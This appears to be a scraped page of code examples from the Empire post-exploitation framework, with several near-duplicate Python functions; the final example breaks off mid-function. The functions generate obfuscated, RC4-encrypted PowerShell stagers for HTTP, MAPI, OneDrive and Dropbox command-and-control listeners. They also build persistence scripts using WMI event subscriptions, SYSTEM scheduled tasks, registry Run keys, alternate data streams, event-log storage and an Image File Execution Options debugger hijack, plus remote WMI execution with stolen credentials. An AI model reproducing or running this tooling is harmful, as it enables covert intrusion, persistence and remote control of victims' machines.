Ejemplo n.º 1
0
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print helpers.color('[!] listeners/http_com generate_stager(): no language specified!')
            return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        stagingKey = listenerOptions['StagingKey']['Value']
        host = listenerOptions['Host']['Value']
        
        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # patch the server and key information
            stager = stager.replace('REPLACE_SERVER', host)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('index.jsp', stage1)
            stager = stager.replace('index.php', stage2)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(line)
                    else:
                        randomizedStager += line

            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager

        else:
            print helpers.color("[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module.")
Ejemplo n.º 2
0
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print helpers.color('[!] listeners/http_com generate_stager(): no language specified!')
            return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        stagingKey = listenerOptions['StagingKey']['Value']
        host = listenerOptions['Host']['Value']
        
        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # patch the server and key information
            stager = stager.replace('REPLACE_SERVER', host)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('index.jsp', stage1)
            stager = stager.replace('index.php', stage2)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(line)
                    else:
                        randomizedStager += line

            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager

        else:
            print helpers.color("[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module.")
Ejemplo n.º 3
0
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"):
        """
        Generate the stager code needed for communications with this listener.
        """

        #if not language:
        #    print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!')
        #    return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        stagingKey = listenerOptions['StagingKey']['Value']
        host = listenerOptions['Host']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        folder = listenerOptions['Folder']['Value']

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # patch the server and key information
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('REPLACE_FOLDER', folder)

            # patch in working hours if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(line)
                    else:
                        randomizedStager += line

            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager
        else:
            print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.")
Ejemplo n.º 4
0
    def generate_payload(self, listenerOptions, encode=False, encrypt=True, language=None, token=None):
        """
        Generate the payload code
        """

        if not language:
            print helpers.color("[!] listeners/onedrive generate_payload(): no language specified")
            return None

        staging_key = listenerOptions['StagingKey']['Value']
        base_folder = listenerOptions['BaseFolder']['Value']
        staging_folder = listenerOptions['StagingFolder']['Value']
        working_hours = listenerOptions['WorkingHours']['Value']
        profile = listenerOptions['DefaultProfile']['Value']
        agent_delay = listenerOptions['DefaultDelay']['Value']

        if language.lower() == 'powershell':
            f = open("%s/data/agent/payloads/onedrive.ps1" % self.mainMenu.installPath)
            payload = f.read()
            f.close()

            payload = payload.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder))
            payload = payload.replace('REPLACE_STAGING_KEY', staging_key)
            payload = payload.replace("REPLACE_TOKEN", token)
            payload = payload.replace("REPLACE_POLLING_INTERVAL", str(agent_delay))

            if working_hours != "":
                payload = payload.replace("REPLACE_WORKING_HOURS", working_hours)

            randomized_payload = ''

            for line in payload.split("\n"):
                line = line.strip()

                if not line.startswith("#"):
                    if "\"" not in line:
                        randomized_payload += helpers.randomize_capitalization(line)
                    else:
                        randomized_payload += line

            if encode:
                return helpers.enc_powershell(randomized_payload)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_payload)
            else:
                return randomized_payload

        else:
            print helpers.color("[!] Python agent not available for Onedrive")
Ejemplo n.º 5
0
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None):
        """
        Generate the stager code
        """

        if not language:
            print helpers.color("[!] listeners/onedrive generate_stager(): no language specified")
            return None

        staging_key = listenerOptions['StagingKey']['Value']
        base_folder = listenerOptions['BaseFolder']['Value']
        staging_folder = listenerOptions['StagingFolder']['Value']
        working_hours = listenerOptions['WorkingHours']['Value']
        profile = listenerOptions['DefaultProfile']['Value']
        agent_delay = listenerOptions['DefaultDelay']['Value']

        if language.lower() == 'powershell':
            f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath)
            stager = f.read()
            f.close()

            stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder))
            stager = stager.replace('REPLACE_STAGING_KEY', staging_key)
            stager = stager.replace("REPLACE_TOKEN", token)
            stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay))

            if working_hours != "":
                stager = stager.replace("REPLACE_WORKING_HOURS", working_hours)

            randomized_stager = ''

            for line in stager.split("\n"):
                line = line.strip()

                if not line.startswith("#"):
                    if "\"" not in line:
                        randomized_stager += helpers.randomize_capitalization(line)
                    else:
                        randomized_stager += line

            if encode:
                return helpers.enc_powershell(randomized_stager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_stager)
            else:
                return randomized_stager

        else:
            print helpers.color("[!] Python agent not available for Onedrive")
Ejemplo n.º 6
0
    def generate(self):
        
        listenerName = self.options['Listener']['Value']
        
        # trigger options
        dailyTime = self.options['DailyTime']['Value']
        atStartup = self.options['AtStartup']['Value']
        subName = self.options['SubName']['Value']

        # management options
        extFile = self.options['ExtFile']['Value']
        cleanup = self.options['Cleanup']['Value']

        # staging options
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']

        statusMsg = ""
        locationString = ""

        if cleanup.lower() == 'true':
            # commands to remove the WMI filter and subscription
            script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;"
            script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;"
            script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;"
            script += "'WMI persistence removed.'"
            
            return script

        if extFile != '':
            # read in an external file as the payload and build a 
            #   base64 encoded version as encScript
            if os.path.exists(extFile):
                f = open(extFile, 'r')
                fileData = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                encScript = helpers.enc_powershell(fileData)
                statusMsg += "using external file " + extFile

            else:
                print helpers.color("[!] File does not exist: " + extFile)
                return ""

        else:
            if listenerName == "":
                print helpers.color("[!] Either an ExtFile or a Listener must be specified")
                return ""

            # if an external file isn't specified, use a listener
            elif not self.mainMenu.listeners.is_listener_valid(listenerName):
                # not a valid listener, return nothing for the script
                print helpers.color("[!] Invalid listener: " + listenerName)
                return ""

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
                
                encScript = launcher.split(" ")[-1]
                statusMsg += "using listener " + listenerName

        # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
        if len(encScript) > 8190:
            print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.")
            return ""

        # built the command that will be triggered
        triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript
        
        if dailyTime != '':
            
            parts = dailyTime.split(":")
            
            if len(parts) < 2:
                print helpers.color("[!] Please use HH:mm format for DailyTime")
                return ""

            hour = parts[0]
            minutes = parts[1]

            # create the WMI event filter for a system time
            script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};"
            statusMsg += " WMI subscription daily trigger at " + dailyTime + "."

        else:
            # create the WMI event filter for OnStartup
            script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
            statusMsg += " with OnStartup WMI subsubscription trigger."


        # add in the event consumer to launch the encrypted script contents
        script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};"

        # bind the filter and event consumer together
        script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"


        script += "'WMI persistence established "+statusMsg+"'"
        
        return script
Ejemplo n.º 7
0
    def generate(self):
        
        listenerName = self.options['Listener']['Value']
        
        # trigger options
        dailyTime = self.options['DailyTime']['Value']
        idleTime = self.options['IdleTime']['Value']
        onLogon = self.options['OnLogon']['Value']
        taskName = self.options['TaskName']['Value']
    
        # storage options
        regPath = self.options['RegPath']['Value']
        adsPath = self.options['ADSPath']['Value']

        # management options
        extFile = self.options['ExtFile']['Value']
        cleanup = self.options['Cleanup']['Value']

        # staging options
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']

        statusMsg = ""
        locationString = ""

        # for cleanup, remove any script from the specified storage location
        #   and remove the specified trigger
        if cleanup.lower() == 'true':
            if adsPath != '':
                # remove the ADS storage location
                if ".txt" not in adsPath:
                    print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
                    return ""

                script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > "+adsPath+"\"};"
            else:
                # remove the script stored in the registry at the specified reg path
                path = "\\".join(regPath.split("\\")[0:-1])
                name = regPath.split("\\")[-1]

                script = "$RegPath = '"+regPath+"';"
                script += "$parts = $RegPath.split('\\');"
                script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
                script += "$name = $parts[-1];"
                script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;"

            script += "schtasks /Delete /F /TN "+taskName+";"
            script += "'Schtasks persistence removed.'"

            return script

        if extFile != '':
            # read in an external file as the payload and build a 
            #   base64 encoded version as encScript
            if os.path.exists(extFile):
                f = open(extFile, 'r')
                fileData = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                encScript = helpers.enc_powershell(fileData)
                statusMsg += "using external file " + extFile

            else:
                print helpers.color("[!] File does not exist: " + extFile)
                return ""

        else:
            # if an external file isn't specified, use a listener
            if not self.mainMenu.listeners.is_listener_valid(listenerName):
                # not a valid listener, return nothing for the script
                print helpers.color("[!] Invalid listener: " + listenerName)
                return ""

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
                
                encScript = launcher.split(" ")[-1]
                statusMsg += "using listener " + listenerName


        if adsPath != '':
            # store the script in the specified alternate data stream location
            if ".txt" not in adsPath:
                    print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
                    return ""
            
            script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsPath+"\"};"

            locationString = "$(cmd /c \''\''more < "+adsPath+"\''\''\'')"
        else:
            # otherwise store the script into the specified registry location
            path = "\\".join(regPath.split("\\")[0:-1])
            name = regPath.split("\\")[-1]

            statusMsg += " stored in " + regPath

            script = "$RegPath = '"+regPath+"';"
            script += "$parts = $RegPath.split('\\');"
            script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
            script += "$name = $parts[-1];"
            script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";"

            # note where the script is stored
            locationString = "(gp "+path+" "+name+")."+name

        # built the command that will be triggered by the schtask
        triggerCmd = "'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\powershell.exe -NonI -W hidden -c \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String("+locationString+")))\\\"'"
        
        # sanity check to make sure we haven't exceeded the cmd.exe command length max
        if len(triggerCmd) > 259:
            print helpers.color("[!] Warning: trigger command exceeds the maximum of 259 characters.")
            return ""

        if onLogon != '':
            script += "schtasks /Create /F /RU system /SC ONLOGON /TN "+taskName+" /TR "+triggerCmd+";"
            statusMsg += " with "+taskName+" OnLogon trigger."
        elif idleTime != '':
            script += "schtasks /Create /F /RU system /SC ONIDLE /I "+idleTime+" /TN "+taskName+" /TR "+triggerCmd+";"
            statusMsg += " with "+taskName+" idle trigger on " + idleTime + "."
        else:
            # otherwise assume we're doing a daily trigger
	    
            script += "schtasks /Create /F /RU system /SC DAILY /ST "+dailyTime+" /TN "+taskName+" /TR "+triggerCmd+";"
            statusMsg += " with "+taskName+" daily trigger at " + dailyTime + "."
        script += "'Schtasks persistence established "+statusMsg+"'"

        return script
    def generate(self, obfuscate=False, obfuscationCommand=""):

        script = """$null = Invoke-WmiMethod -Path Win32_process -Name create"""

        # management options
        cleanup = self.options['Cleanup']['Value']
        binary = self.options['Binary']['Value']
        targetBinary = self.options['TargetBinary']['Value']
        listenerName = self.options['Listener']['Value']
        userName = self.options['UserName']['Value']
        password = self.options['Password']['Value']

        # storage options
        regPath = self.options['RegPath']['Value']

        statusMsg = ""
        locationString = ""

        # if a credential ID is specified, try to parse
        credID = self.options["CredID"]['Value']
        if credID != "":

            if not self.mainMenu.credentials.is_credential_valid(credID):
                print helpers.color("[!] CredID is invalid!")
                return ""

            (credID, credType, domainName, userName, password, host, os, sid,
             notes) = self.mainMenu.credentials.get_credentials(credID)[0]

            if domainName != "":
                self.options["UserName"]['Value'] = str(
                    domainName) + "\\" + str(userName)
            else:
                self.options["UserName"]['Value'] = str(userName)
            if password != "":
                self.options["Password"]['Value'] = passw = password

        if cleanup.lower() == 'true':
            # the registry command to disable the debugger for the target binary
            payloadCode = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + targetBinary + "';"
            statusMsg += " to remove the debugger for " + targetBinary

        elif listenerName != '':
            # if there's a listener specified, generate a stager and store it
            if not self.mainMenu.listeners.is_listener_valid(listenerName):
                # not a valid listener, return nothing for the script
                print helpers.color("[!] Invalid listener: " + listenerName)
                return ""

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = self.mainMenu.stagers.generate_launcher(
                    listenerName, language='powershell', encode=True)

                encScript = launcher.split(" ")[-1]
                # statusMsg += "using listener " + listenerName

            path = "\\".join(regPath.split("\\")[0:-1])
            name = regPath.split("\\")[-1]

            # statusMsg += " stored in " + regPath + "."

            payloadCode = "$RegPath = '" + regPath + "';"
            payloadCode += "$parts = $RegPath.split('\\');"
            payloadCode += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
            payloadCode += "$name = $parts[-1];"
            payloadCode += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + encScript + ";"

            # note where the script is stored
            locationString = "$((gp " + path + " " + name + ")." + name + ")"

            payloadCode += "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + targetBinary + "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + targetBinary + "' -Name Debugger -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + locationString + ";start -Win Hidden -A \\\"-enc $x\\\" powershell\";exit;';"

            statusMsg += " to set the debugger for " + targetBinary + " to be a stager for listener " + listenerName + "."

        else:
            payloadCode = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + targetBinary + "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + targetBinary + "' -Name Debugger -Value '" + binary + "';"

            statusMsg += " to set the debugger for " + targetBinary + " to be " + binary + "."

        # unicode-base64 the payload code to execute on the targets with -enc
        encPayload = helpers.enc_powershell(payloadCode)

        # build the WMI execution string
        computerNames = "\"" + "\",\"".join(
            self.options['ComputerName']['Value'].split(",")) + "\""

        script += " -ComputerName @(" + computerNames + ")"
        script += " -ArgumentList \"C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -enc " + encPayload + "\""

        # if we're supplying alternate user credentials
        if userName != '':
            script = "$PSPassword = \"" + password + "\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\"" + userName + "\",$PSPassword);" + script + " -Credential $Credential"

        script += ";'Invoke-Wmi executed on " + computerNames + statusMsg + "'"
        if obfuscate:
            script = helpers.obfuscate(psScript=script,
                                       obfuscationCommand=obfuscationCommand)
        return script
Ejemplo n.º 9
0
    def generate(self, obfuscate=False, obfuscationCommand=""):

        listenerName = self.options['Listener']['Value']

        # trigger options
        dailyTime = self.options['DailyTime']['Value']
        atStartup = self.options['AtStartup']['Value']
        subName = self.options['SubName']['Value']
        failedLogon = self.options['FailedLogon']['Value']

        # management options
        extFile = self.options['ExtFile']['Value']
        cleanup = self.options['Cleanup']['Value']

        # staging options
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']

        statusMsg = ""
        locationString = ""

        if cleanup.lower() == 'true':
            # commands to remove the WMI filter and subscription
            script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='" + subName + "'\"| Remove-WmiObject;"
            script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='" + subName + "'\" | Remove-WmiObject;"
            script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '" + subName + "'} | Remove-WmiObject;"
            script += "'WMI persistence removed.'"
            if obfuscate:
                script = helpers.obfuscate(
                    self.mainMenu.installPath,
                    psScript=script,
                    obfuscationCommand=obfuscationCommand)
            return script

        if extFile != '':
            # read in an external file as the payload and build a
            #   base64 encoded version as encScript
            if os.path.exists(extFile):
                f = open(extFile, 'r')
                fileData = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                encScript = helpers.enc_powershell(fileData)
                statusMsg += "using external file " + extFile

            else:
                print()
                helpers.color("[!] File does not exist: " + extFile)
                return ""

        else:
            if listenerName == "":
                print()
                helpers.color(
                    "[!] Either an ExtFile or a Listener must be specified")
                return ""

            # if an external file isn't specified, use a listener
            elif not self.mainMenu.listeners.is_listener_valid(listenerName):
                # not a valid listener, return nothing for the script
                print()
                helpers.color("[!] Invalid listener: " + listenerName)
                return ""

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = self.mainMenu.stagers.generate_launcher(
                    listenerName,
                    language='powershell',
                    encode=True,
                    userAgent=userAgent,
                    proxy=proxy,
                    proxyCreds=proxyCreds)

                encScript = launcher.split(" ")[-1]
                statusMsg += "using listener " + listenerName

        # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
        if len(encScript) > 8190:
            print()
            helpers.color(
                "[!] Warning: -enc command exceeds the maximum of 8190 characters."
            )
            return ""

        # built the command that will be triggered
        triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript

        if failedLogon != '':

            # Enable failed logon auditing
            script = "auditpol /set /subcategory:Logon /failure:enable;"

            # create WMI event filter for failed logon
            script += "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{Name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.EventCode='4625' AND TargetInstance.Message LIKE '%" + failedLogon + "%'\"}; "
            statusMsg += " with trigger upon failed logon by " + failedLogon

        elif dailyTime != '':

            parts = dailyTime.split(":")

            if len(parts) < 2:
                print()
                helpers.color("[!] Please use HH:mm format for DailyTime")
                return ""

            hour = parts[0]
            minutes = parts[1]

            # create the WMI event filter for a system time
            script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = " + hour + " AND TargetInstance.Minute= " + minutes + " GROUP WITHIN 60\"};"
            statusMsg += " WMI subscription daily trigger at " + dailyTime + "."

        else:
            # create the WMI event filter for OnStartup
            script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
            statusMsg += " with OnStartup WMI subsubscription trigger."

        # add in the event consumer to launch the encrypted script contents
        script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='" + subName + "';CommandLineTemplate=\"" + triggerCmd + "\";RunInteractively='false'};"

        # bind the filter and event consumer together
        script += " Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"

        script += "'WMI persistence established " + statusMsg + "'"
        if obfuscate:
            script = helpers.obfuscate(self.mainMenu.installPath,
                                       psScript=script,
                                       obfuscationCommand=obfuscationCommand)

        return script
Ejemplo n.º 10
0
    def generate(self, obfuscate=False, obfuscationCommand=""):

        listenerName = self.options['Listener']['Value']

        # trigger options
        keyName = self.options['KeyName']['Value']

        # storage options
        regPath = self.options['RegPath']['Value']
        adsPath = self.options['ADSPath']['Value']
        eventLogID = self.options['EventLogID']['Value']

        # management options
        extFile = self.options['ExtFile']['Value']
        cleanup = self.options['Cleanup']['Value']

        # staging options
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']

        statusMsg = ""
        locationString = ""

        # for cleanup, remove any script from the specified storage location
        #   and remove the specified trigger
        if cleanup.lower() == 'true':
            if adsPath != '':
                if ".txt" not in adsPath:
                    print(
                        helpers.color(
                            "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"
                        ))
                    return ""

                script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + adsPath + "\"};"
            else:
                # remove the script stored in the registry at the specified reg path
                path = "\\".join(regPath.split("\\")[0:-1])
                name = regPath.split("\\")[-1]

                script = "$RegPath = '" + regPath + "';"
                script += "$parts = $RegPath.split('\\');"
                script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
                script += "$name = $parts[-1];"
                script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;"

            script += "Remove-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + keyName + ";"
            script += "'Registry Persistence removed.'"
            if obfuscate:
                script = helpers.obfuscate(
                    self.mainMenu.installPath,
                    psScript=script,
                    obfuscationCommand=obfuscationCommand)
            return script

        if extFile != '':
            # read in an external file as the payload and build a
            #   base64 encoded version as encScript
            if os.path.exists(extFile):
                f = open(extFile, 'r')
                fileData = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                encScript = helpers.enc_powershell(fileData)
                statusMsg += "using external file " + extFile

            else:
                print(helpers.color("[!] File does not exist: " + extFile))
                return ""

        else:
            # if an external file isn't specified, use a listener
            if not self.mainMenu.listeners.is_listener_valid(listenerName):
                # not a valid listener, return nothing for the script
                print(helpers.color("[!] Invalid listener: " + listenerName))
                return ""

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = self.mainMenu.stagers.generate_launcher(
                    listenerName,
                    language='powershell',
                    encode=True,
                    userAgent=userAgent,
                    proxy=proxy,
                    proxyCreds=proxyCreds)

                encScript = launcher.split(" ")[-1]
                statusMsg += "using listener " + listenerName

        if adsPath != '':
            # store the script in the specified alternate data stream location

            if adsPath != '':
                if ".txt" not in adsPath:
                    print(
                        helpers.color(
                            "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"
                        ))
                    return ""

                script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + encScript + " > " + adsPath + "\"};"

                locationString = "$(cmd /c \''more < " + adsPath + "\'')"

        elif eventLogID != '':
            # store the script in the event log under the specified ID
            # credit to @subtee
            #   https://gist.github.com/subTee/949fdf0f141546f24978

            # sanity check to make sure we haven't exceeded the 31389 byte max
            if len(encScript) > 31389:
                print(
                    helpers.color(
                        "[!] Warning: encoded script exceeds 31389 byte max."))
                return ""

            statusMsg += " stored in Application event log under EventID " + eventLogID + "."

            # command to write out the encoded script to the specified eventlog ID
            script = "Write-EventLog -logname Application -source WSH -eventID " + eventLogID + " -entrytype Information -message 'Debug' -category 1 -rawdata \"" + encScript + "\".ToCharArray();"

            # command to decode the binary data from the event log location
            locationString = "$([Text.Encoding]::ASCII.GetString(@((Get-Eventlog -LogName Application | ?{$_.eventid -eq " + eventLogID + "}))[0].data))"

        else:
            # otherwise store the script into the specified registry location
            path = "\\".join(regPath.split("\\")[0:-1])
            name = regPath.split("\\")[-1]

            statusMsg += " stored in " + regPath + "."

            script = "$RegPath = '" + regPath + "';"
            script += "$parts = $RegPath.split('\\');"
            script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
            script += "$name = $parts[-1];"
            script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + encScript + ";"

            # note where the script is stored
            locationString = "$((gp " + path + " " + name + ")." + name + ")"

        # set the run key to extract the encoded script from the specified location
        #   and start powershell.exe in the background with the encoded command
        script += "$null=Set-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + keyName + " -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + locationString + ";powershell -Win Hidden -enc $x\"';"

        script += "'Registry persistence established " + statusMsg + "'"
        if obfuscate:
            script = helpers.obfuscate(self.mainMenu.installPath,
                                       psScript=script,
                                       obfuscationCommand=obfuscationCommand)
        return script
Ejemplo n.º 11
0
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print helpers.color('[!] listeners/dbx generate_stager(): no language specified!')
            return None

        pollInterval = listenerOptions['PollInterval']['Value']
        stagingKey = listenerOptions['StagingKey']['Value']
        baseFolder = listenerOptions['BaseFolder']['Value'].strip('/')
